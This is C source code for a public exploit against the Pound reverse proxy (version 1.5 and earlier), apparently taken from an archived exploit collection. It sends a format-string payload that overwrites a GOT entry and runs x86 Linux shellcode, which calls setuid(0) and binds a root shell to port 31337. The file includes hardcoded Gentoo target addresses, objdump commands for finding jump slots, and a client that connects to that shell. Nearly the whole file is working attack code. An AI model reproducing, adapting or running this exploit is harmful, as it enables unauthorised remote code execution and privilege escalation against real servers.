home *** CD-ROM | disk | FTP | other *** search
Wrap
/* Pound <=1.5 remote format string exploit (public version) by Nilanjan De - n2n@front.ru Eye on Security Research Group, India, http://www.eos-india.net Vendor URL: http://www.apsis.ch/pound/ Local exploit is only useful is pound is setuid The shellcode used doesn't break chroot if you need to break chroot, use a different shellcode To find jmpslot: For remote: objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1 for local: objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1 Note: In case of remote exploit, since the exploit occurs in one of the threads, you may need to modify this exploit to brute-force the RET address to make the exploit work. Since pound runs in daemon mode, brute forcing it is no problem. */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #define PORT 8888 #define BUFSIZE 1024 #define NOP 0x90 #define POUND "/usr/sbin/pound" #define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;\n" #define LOCALHOST "127.0.0.1" typedef enum {LOCAL,REMOTE} type_t; struct target { char *arch; unsigned long jmpslot; unsigned long ret; unsigned int align; unsigned int offset; type_t type; } targets[]= { {"Gentoo - Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE}, {"Gentoo - Pound 1.5 local",0x08055618,0xbffff410,1,11,LOCAL}, {NULL,0x00,0x00,0,0,0} }; /* x86 linux fork+portbind shellcode(port 31337) */ char shellcode[]= /* sys_fork() */ "\x31\xc0" // xorl %eax,%eax "\x31\xdb" // xorl %ebx,%ebx "\xb0\x02" // movb $0x2,%al "\xcd\x80" // int $0x80 "\x38\xc3" // cmpl %ebx,%eax "\x74\x05" // je 0x5 /* sys_exit() */ "\x8d\x43\x01" // leal 0x1(%ebx),%eax "\xcd\x80" // int $0x80 /* setuid(0) */ "\x31\xc0" // xorl %eax,%eax "\x31\xdb" // xorl %ebx,%ebx "\xb0\x17" // movb $0x17,%al "\xcd\x80" // int $0x80 /* socket() */ "\x31\xc0" // xorl %eax,%eax "\x89\x45\x10" // movl %eax,0x10(%ebp)(IPPROTO_IP = 0x0) "\x40" // incl %eax "\x89\xc3" // movl %eax,%ebx(SYS_SOCKET = 0x1) "\x89\x45\x0c" // movl %eax,0xc(%ebp)(SOCK_STREAM = 0x1) "\x40" // incl %eax "\x89\x45\x08" // movl %eax,0x8(%ebp)(AF_INET = 0x2) "\x8d\x4d\x08" // leal 0x8(%ebp),%ecx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x89\x45\x08" // movl %eax,0x8(%ebp) /* bind()*/ "\x43" // incl %ebx(SYS_BIND = 0x2) "\x66\x89\x5d\x14" // movw %bx,0x14(%ebp)(AF_INET = 0x2) "\x66\xc7\x45\x16\x7a\x69" // movw $0x697a,0x16(%ebp)(port=31337) "\x31\xd2" // xorl %edx,%edx "\x89\x55\x18" // movl %edx,0x18(%ebp) "\x8d\x55\x14" // leal 0x14(%ebp),%edx "\x89\x55\x0c" // movl %edx,0xc(%ebp) "\xc6\x45\x10\x10" // movb $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16) "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 /* listen() */ "\x40" // incl %eax "\x89\x45\x0c" // movl %eax,0xc(%ebp) "\x43" // incl %ebx "\x43" // incl %ebx(SYS_LISTEN = 0x4) "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 /* accept() */ "\x43" // incl %ebx "\x89\x45\x0c" // movl %eax,0xc(%ebp) "\x89\x45\x10" // movl %eax,0x10(%ebp) "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x89\xc3" // movl %eax,%ebx /* dup2() */ "\x31\xc9" // xorl %ecx,%ecx "\xb0\x3f" // movb $0x3f,%al "\xcd\x80" // int $0x80 "\x41" // incl %ecx "\x80\xf9\x03" // cmpb $0x3,%cl "\x75\xf6" // jne -0xa /* execve() */ "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80"; // int $0x80 int connect_to(char *host, unsigned int port) { struct hostent *h; struct sockaddr_in sin; int sock; if((h=gethostbyname(host))==NULL) { printf("- Error: Unable to resolve %s\n",host); exit(EXIT_FAILURE); } printf("+ Resolved %s\n",host); sin.sin_addr=*((struct in_addr *)h->h_addr); sin.sin_family=AF_INET; sin.sin_port=htons((u_short)port); if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) { perror("socket");exit(EXIT_FAILURE); } if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0) { perror("connect");exit(EXIT_FAILURE); } printf("+ Connected\n"); return sock; } int sh(int sockfd) { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; strcpy(snd, COMMAND "\n"); write(sockfd, snd, strlen(snd)); for (;;) { FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1; select(maxfd, &rset, NULL, NULL, NULL); if (FD_ISSET(fileno(stdin), &rset)) { bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if (FD_ISSET(sockfd, &rset)) { bzero(rcv, sizeof(rcv)); if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) { printf("+ Good Bye!\n"); return 0; } if (n < 0) { perror("read"); exit(EXIT_FAILURE); } fputs(rcv, stdout); fflush(stdout); } } } void usage(char *progname) { int i; printf("Usage: %s <type> [RemoteHost]\n",progname); printf("Available types:\n"); for(i=0;targets[i].arch!=NULL;i++) { printf("\t%d\t-\t%s\n",i,targets[i].arch); } exit(EXIT_FAILURE); } int testifworked() { } int main(int argc,char **argv) { char *victim; int s; int i; int high,low; unsigned int port=PORT; struct target *t; char buf[BUFSIZE]; if(argc<2) usage(argv[0]); i=atoi(argv[1]); if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1)) { printf("- Invalid target type\n"); exit(EXIT_FAILURE); } t=&targets[i]; high=(t->ret & 0xffff0000) >> 16; low=(t->ret & 0x0000ffff); memset(buf,NOP,BUFSIZE-1); buf[BUFSIZE-1]=0; if(t->type==REMOTE) { if(argc<3) usage(argv[0]); victim=argv[2]; } if(high>low) { *((unsigned long *)(buf+t->align))=t->jmpslot; *((unsigned long *)(buf+t->align+4))=t->jmpslot+2; } else { *((unsigned long *)(buf+t->align))=t->jmpslot+2; *((unsigned long *)(buf+t->align+4))=t->jmpslot; high^=low^=high^=low; } buf[t->align+9]=0; if(t->type==REMOTE) low-=0x16+t->align; else low-=0x28+t->align; i=snprintf(buf+t->align+9,BUFSIZE-1,"%%%dx%%%d$hn%%%dx%%%d$hn",low,t->offset,high-low,t->offset+1); buf[t->align+9+i]=NOP; memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode)); buf[BUFSIZE-3]=buf[BUFSIZE-5]='\r'; buf[BUFSIZE-2]=buf[BUFSIZE-4]='\n'; if(t->type==LOCAL) { if(!fork()) { execl(POUND,"pound","-f",buf,0); perror("exec");exit(EXIT_FAILURE); } victim=LOCALHOST; } else { printf("+ Connecting to victim\n"); s=connect_to(victim,port); printf("+ Attach?"); scanf("%c",&i); printf("+ Sending evil buffer\n"); if(send(s,buf,BUFSIZE,0)!=BUFSIZE) { perror("send");exit(EXIT_FAILURE); } close(s); } sleep(1); printf("+ Checking if exploit worked\n"); s=connect_to(victim,31337); sh(s); exit(EXIT_SUCCESS); }